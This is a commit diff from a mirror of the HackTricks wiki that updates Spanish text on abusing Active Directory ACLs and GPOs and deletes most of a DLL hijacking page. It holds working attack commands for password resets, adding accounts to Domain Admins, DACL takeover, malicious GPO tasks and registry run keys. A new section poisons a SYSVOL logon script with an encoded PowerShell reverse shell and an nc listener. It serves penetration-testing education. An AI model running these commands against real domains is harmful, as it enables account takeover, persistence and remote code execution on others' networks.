mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
Translator
parent
6c60d8d4fb
commit
7a0244bac3
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
||||
@ -11,24 +11,39 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Rights on User**
|
||||
## **GenericAll Permisos sobre el usuario**
|
||||
|
||||
Este privilegio otorga al atacante control total sobre una cuenta de usuario objetivo. Una vez confirmados los derechos `GenericAll` usando el comando `Get-ObjectAcl`, un atacante puede:
|
||||
Este privilegio otorga al atacante control total sobre una cuenta de usuario objetivo. Una vez que los permisos `GenericAll` se confirman usando el comando `Get-ObjectAcl`, un atacante puede:
|
||||
|
||||
- **Cambiar la contraseña del objetivo**: Usando `net user <username> <password> /domain`, el atacante puede restablecer la contraseña del usuario.
|
||||
- **Targeted Kerberoasting**: Asigne un SPN a la cuenta del usuario para hacerla kerberoastable, luego use Rubeus y targetedKerberoast.py para extraer e intentar crackear los hashes del ticket-granting ticket (TGT).
|
||||
- Desde Linux, puedes hacer lo mismo sobre SAMR con Samba `net rpc`:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Si la cuenta está deshabilitada, borra la bandera UAC**: `GenericAll` permite editar `userAccountControl`. Desde Linux, BloodyAD puede eliminar la bandera `ACCOUNTDISABLE`:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Asignar un SPN a la cuenta del usuario para que sea kerberoastable, luego usar Rubeus y targetedKerberoast.py para extraer e intentar descifrar los hashes del ticket-granting ticket (TGT).
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Deshabilitar la preautenticación para el usuario, dejando su cuenta vulnerable a ASREPRoasting.
|
||||
- **Targeted ASREPRoasting**: Deshabilitar la pre-authentication para el usuario, haciendo que su cuenta sea vulnerable a ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **Derechos GenericAll sobre el grupo**
|
||||
- **Shadow Credentials / Key Credential Link**: Con `GenericAll` en un usuario puedes agregar una credencial basada en certificado y autenticarte como ese usuario sin cambiar su contraseña. Ver:
|
||||
|
||||
Este privilegio permite a un atacante manipular las pertenencias a grupos si tiene derechos `GenericAll` sobre un grupo como `Domain Admins`. Tras identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Rights on Group**
|
||||
|
||||
Este privilegio permite a un atacante manipular las membresías de un grupo si tiene derechos `GenericAll` sobre un grupo como `Domain Admins`. Después de identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede:
|
||||
|
||||
- **Añadirse al grupo Domain Admins**: Esto se puede hacer mediante comandos directos o usando módulos como Active Directory o PowerSploit.
|
||||
```bash
|
||||
@ -36,7 +51,7 @@ net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Desde Linux también puedes aprovechar BloodyAD para añadirte a grupos arbitrarios cuando tienes GenericAll/Write sobre ellos. Si el grupo objetivo está anidado en “Remote Management Users”, obtendrás inmediatamente acceso WinRM en hosts que respeten ese grupo:
|
||||
- Desde Linux también puedes usar BloodyAD para agregarte a grupos arbitrarios cuando poseas membresía GenericAll/Write sobre ellos. Si el grupo objetivo está anidado en “Remote Management Users”, obtendrás acceso WinRM inmediatamente en hosts que respeten ese grupo:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -49,32 +64,32 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
Poseer estos privilegios en un objeto de equipo o en una cuenta de usuario permite:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Permite tomar control de un objeto de equipo.
|
||||
- **Shadow Credentials**: Utiliza esta técnica para suplantar a un equipo o a una cuenta de usuario explotando los privilegios para crear shadow credentials.
|
||||
- **Shadow Credentials**: Usa esta técnica para suplantar a un equipo o a una cuenta de usuario explotando los privilegios para crear Shadow Credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Si un usuario tiene `WriteProperty` derechos en todos los objetos de un grupo específico (por ejemplo, `Domain Admins`), puede:
|
||||
Si un usuario tiene derechos `WriteProperty` sobre todos los objetos de un grupo específico (p. ej., `Domain Admins`), puede:
|
||||
|
||||
- **Añadirse al grupo Domain Admins**: Lograble combinando los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
## **Self (Self-Membership) en Grupo
|
||||
|
||||
Este privilegio permite a los atacantes agregarse a sí mismos a grupos específicos, como `Domain Admins`, mediante comandos que manipulan directamente la pertenencia a grupos. Usar la siguiente secuencia de comandos permite la auto-adición:
|
||||
Este privilegio permite a los atacantes añadirse a grupos específicos, como `Domain Admins`, mediante comandos que manipulan directamente la pertenencia al grupo. Usar la siguiente secuencia de comandos permite la autoadición:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando propiedades de los grupos si tienen el derecho `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con:
|
||||
Un privilegio similar, permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Poseer el `ExtendedRight` sobre un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación puede realizarse mediante PowerShell u otras herramientas de línea de comandos, ofreciendo varias formas de restablecer la contraseña de un usuario, incluidas sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos van desde simples invocaciones de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los attack vectors.
|
||||
Tener el `ExtendedRight` en un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación puede realizarse mediante PowerShell u otras herramientas de línea de comandos, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluidas sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos van desde simples invocaciones de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner en un grupo**
|
||||
## **WriteOwner en grupo**
|
||||
|
||||
Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos del grupo y la membresía. El proceso implica identificar el objeto correcto mediante `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre.
|
||||
Si un atacante descubre que tiene derechos `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto vía `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el owner, ya sea por SID o por nombre.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso cuando el usuario inicia sesión. Esto se logra usando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante.
|
||||
Este permiso permite a un atacante modificar las propiedades de un usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso cuando el usuario inicie sesión. Esto se consigue usando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Con este privilegio, los atacantes pueden manipular la membresía de grupos, por ejemplo agregarse a sí mismos u otros usuarios a grupos específicos. Este proceso implica crear un objeto de credenciales, usarlo para agregar o eliminar usuarios de un grupo y verificar los cambios de membresía con comandos de PowerShell.
|
||||
Con este privilegio, los atacantes pueden manipular la pertenencia a grupos, por ejemplo agregándose a sí mismos u otros usuarios a grupos específicos. Este proceso implica crear un objeto de credencial, usarlo para agregar o eliminar usuarios de un grupo y verificar los cambios de membresía con comandos de PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Desde Linux, Samba `net` puede agregar/eliminar miembros cuando posees `GenericWrite` en el grupo (útil cuando PowerShell/RSAT no están disponibles):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Poseer un objeto de AD y tener privilegios `WriteDACL` sobre él permite a un atacante concederse a sí mismo privilegios `GenericAll` sobre el objeto. Esto se logra mediante la manipulación de ADSI, lo que permite el control total del objeto y la capacidad de modificar sus membresías de grupo. A pesar de ello, existen limitaciones al intentar explotar estos privilegios usando los cmdlets `Set-Acl` / `Get-Acl` del módulo de Active Directory.
|
||||
Poseer un objeto AD y tener privilegios `WriteDACL` sobre él permite a un atacante concederse a sí mismo privilegios `GenericAll` sobre el objeto. Esto se logra mediante la manipulación de ADSI, permitiendo el control total del objeto y la capacidad de modificar sus membresías de grupo. A pesar de ello, existen limitaciones al intentar explotar estos privilegios usando los cmdlets `Set-Acl` / `Get-Acl` del módulo Active Directory.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,31 +141,52 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
### WriteDACL/WriteOwner toma de control rápida (PowerView)
|
||||
|
||||
Cuando tengas `WriteOwner` y `WriteDacl` sobre una cuenta de usuario o de servicio, puedes tomar el control total y restablecer su contraseña usando PowerView sin conocer la contraseña antigua:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Notas:
|
||||
- Es posible que primero necesites cambiar el propietario a ti mismo si solo tienes `WriteOwner`:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Validar el acceso con cualquier protocolo (SMB/LDAP/RDP/WinRM) después del restablecimiento de contraseña.
|
||||
|
||||
## **Replicación en el Dominio (DCSync)**
|
||||
|
||||
El ataque DCSync aprovecha permisos de replicación específicos en el dominio para hacerse pasar por un Domain Controller y sincronizar datos, incluyendo credenciales de usuario. Esta técnica poderosa requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno AD sin acceso directo a un Controlador de Dominio. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
El ataque DCSync aprovecha permisos de replicación específicos en el dominio para hacerse pasar por un Domain Controller y sincronizar datos, incluidas las credenciales de usuario. Esta potente técnica requiere permisos como `DS-Replication-Get-Changes`, lo que permite a un atacante extraer información sensible del entorno AD sin acceso directo a un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## Delegación de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Delegación de GPO
|
||||
### GPO Delegation
|
||||
|
||||
El acceso delegado para gestionar Group Policy Objects (GPOs) puede presentar riesgos de seguridad significativos. Por ejemplo, si a un usuario como `offense\spotless` se le delegan derechos de gestión de GPO, puede tener privilegios como **WriteProperty**, **WriteDacl**, y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
El acceso delegado para gestionar Group Policy Objects (GPOs) puede presentar riesgos de seguridad significativos. Por ejemplo, si a un usuario como `offense\spotless` se le delegan derechos de gestión de GPO, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerar permisos de GPO
|
||||
|
||||
Para identificar GPOs mal configuradas, los cmdlets de PowerSploit pueden encadenarse. Esto permite descubrir GPOs que un usuario específico tiene permisos para gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Para identificar GPOs mal configurados, se pueden encadenar los cmdlets de PowerSploit. Esto permite descubrir GPOs que un usuario específico puede gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Equipos a los que se aplica una política determinada**: Es posible resolver a qué equipos se aplica una GPO específica, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Equipos con una política determinada aplicada**: Es posible resolver a qué equipos se aplica una GPO específica, lo que ayuda a comprender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Políticas aplicadas a un equipo determinado**: Para ver qué políticas se aplican a un equipo en particular, se pueden utilizar comandos como `Get-DomainGPO`.
|
||||
**Policies Applied to a Given Computer**: Para ver qué políticas se aplican a un equipo en particular, se pueden utilizar comandos como `Get-DomainGPO`.
|
||||
|
||||
**OUs con una política aplicada**: Identificar las unidades organizativas (OUs) afectadas por una política dada se puede hacer usando `Get-DomainOU`.
|
||||
|
||||
También puedes usar la herramienta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs y encontrar problemas en ellas.
|
||||
|
||||
### Abuso de GPO - New-GPOImmediateTask
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
|
||||
Las GPOs mal configuradas pueden explotarse para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto puede usarse para agregar un usuario al grupo de administradores locales en máquinas afectadas, elevando significativamente privilegios:
|
||||
Los GPOs mal configurados pueden explotarse para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto puede usarse para añadir un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente privilegios:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
@ -154,29 +197,81 @@ El GroupPolicy module, si está instalado, permite la creación y el enlace de n
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuso de GPO
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse ofrece un método para abusar de GPOs existentes añadiendo tareas o modificando configuraciones sin la necesidad de crear nuevas GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevas antes de aplicar los cambios:
|
||||
SharpGPOAbuse ofrece un método para abusar de GPOs existentes añadiendo tareas o modificando ajustes sin la necesidad de crear nuevas GPOs. Esta herramienta requiere la modificación de GPOs existentes o el uso de herramientas RSAT para crear nuevas antes de aplicar cambios:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Forzar actualización de la directiva
|
||||
### Forzar actualización de políticas
|
||||
|
||||
Las actualizaciones de GPO suelen producirse aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente después de aplicar un cambio, se puede usar el comando `gpupdate /force` en el equipo objetivo para forzar una actualización inmediata de la directiva. Este comando garantiza que las modificaciones a las GPOs se apliquen sin esperar al siguiente ciclo de actualización automático.
|
||||
Las actualizaciones de GPO normalmente ocurren aproximadamente cada 90 minutos. Para acelerar este proceso, especialmente después de implementar un cambio, se puede usar el comando `gpupdate /force` en el equipo objetivo para forzar una actualización inmediata de las políticas. Este comando asegura que cualquier modificación en las GPO se aplique sin esperar al siguiente ciclo de actualización automático.
|
||||
|
||||
### Bajo el capó
|
||||
|
||||
Al inspeccionar los Scheduled Tasks de una GPO determinada, como `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean mediante scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios.
|
||||
Al inspeccionar las Scheduled Tasks para una GPO dada, como la `Misconfigured Policy`, se puede confirmar la adición de tareas como `evilTask`. Estas tareas se crean mediante scripts o herramientas de línea de comandos con el objetivo de modificar el comportamiento del sistema o escalar privilegios.
|
||||
|
||||
La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, detalla los aspectos específicos de la tarea programada — incluido el comando a ejecutar y sus disparadores. Este archivo representa cómo se definen y gestionan los Scheduled Tasks dentro de las GPOs, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de la directiva.
|
||||
La estructura de la tarea, como se muestra en el archivo de configuración XML generado por `New-GPOImmediateTask`, describe los detalles específicos de la tarea programada, incluyendo el comando a ejecutar y sus triggers. Este archivo representa cómo se definen y gestionan las scheduled tasks dentro de las GPO, proporcionando un método para ejecutar comandos o scripts arbitrarios como parte de la aplicación de políticas.
|
||||
|
||||
### Usuarios y Grupos
|
||||
### Usuarios y grupos
|
||||
|
||||
Las GPOs también permiten la manipulación de la pertenencia de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de la política Users and Groups, los atacantes pueden añadir usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible mediante la delegación de permisos de gestión de las GPO, que permite la modificación de los archivos de política para incluir nuevos usuarios o cambiar la pertenencia a grupos.
|
||||
Las GPO también permiten la manipulación de las membresías de usuarios y grupos en los sistemas objetivo. Al editar directamente los archivos de la política Users and Groups, los atacantes pueden añadir usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible gracias a la delegación de permisos de gestión de GPO, que permite la modificación de los archivos de política para incluir nuevos usuarios o cambiar las membresías de grupos.
|
||||
|
||||
El archivo de configuración XML para Users and Groups describe cómo se implementan estos cambios. Al añadir entradas a este archivo, se puede otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios mediante la manipulación de GPOs.
|
||||
El archivo de configuración XML para Users and Groups describe cómo se implementan estos cambios. Al añadir entradas a este archivo, se puede otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios mediante la manipulación de GPO.
|
||||
|
||||
Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de logon/logoff, modificar claves del registro para autoruns, instalar software mediante archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diferentes vías para mantener el acceso y controlar sistemas objetivo mediante el abuso de GPOs.
|
||||
Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de logon/logoff, modificar claves del registro para autoruns, instalar software mediante archivos .msi o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo mediante el abuso de GPO.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Locate logon scripts
|
||||
- Inspeccionar los atributos de usuario en busca de un script de inicio configurado:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Explorar recursos compartidos del dominio para exponer accesos directos o referencias a scripts:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Analizar archivos `.lnk` para resolver destinos que apunten a SYSVOL/NETLOGON (truco útil de DFIR y para atacantes sin acceso directo a GPO):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound muestra el atributo `logonScript` (scriptPath) en los nodos de usuario cuando está presente.
|
||||
|
||||
### Validar acceso de escritura (no confíes en los listados de shares)
|
||||
Las herramientas automatizadas pueden mostrar SYSVOL/NETLOGON como solo lectura, pero las ACLs de NTFS subyacentes aún pueden permitir escrituras. Siempre prueba:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
Si cambia el tamaño del archivo o el mtime, tienes permisos de escritura. Conserva los originales antes de modificar.
|
||||
|
||||
### Poison a VBScript logon script for RCE
|
||||
Añade un comando que lance un PowerShell reverse shell (genéralo desde revshells.com) y conserva la lógica original para evitar romper la función de negocio:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Escucha en tu host y espera el siguiente interactive logon:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Notas:
|
||||
- La ejecución ocurre con el token del usuario que inició sesión (no SYSTEM). El alcance es el enlace de la GPO (OU, site, domain) que aplica ese script.
|
||||
- Limpiar restaurando el contenido y las marcas de tiempo originales después de su uso.
|
||||
|
||||
## Referencias
|
||||
|
||||
@ -187,5 +282,9 @@ Además, se pueden considerar métodos adicionales para ejecutar código o mante
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,320 +0,0 @@
|
||||
# Dll Hijacking
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Información Básica
|
||||
|
||||
DLL Hijacking implica manipular una aplicación confiable para que cargue una DLL maliciosa. Este término abarca varias tácticas como **DLL Spoofing, Injection, and Side-Loading**. Se utiliza principalmente para code execution, lograr persistence y, menos comúnmente, privilege escalation. A pesar del enfoque en la escalation aquí, el método de hijacking se mantiene consistente según el objetivo.
|
||||
|
||||
### Common Techniques
|
||||
|
||||
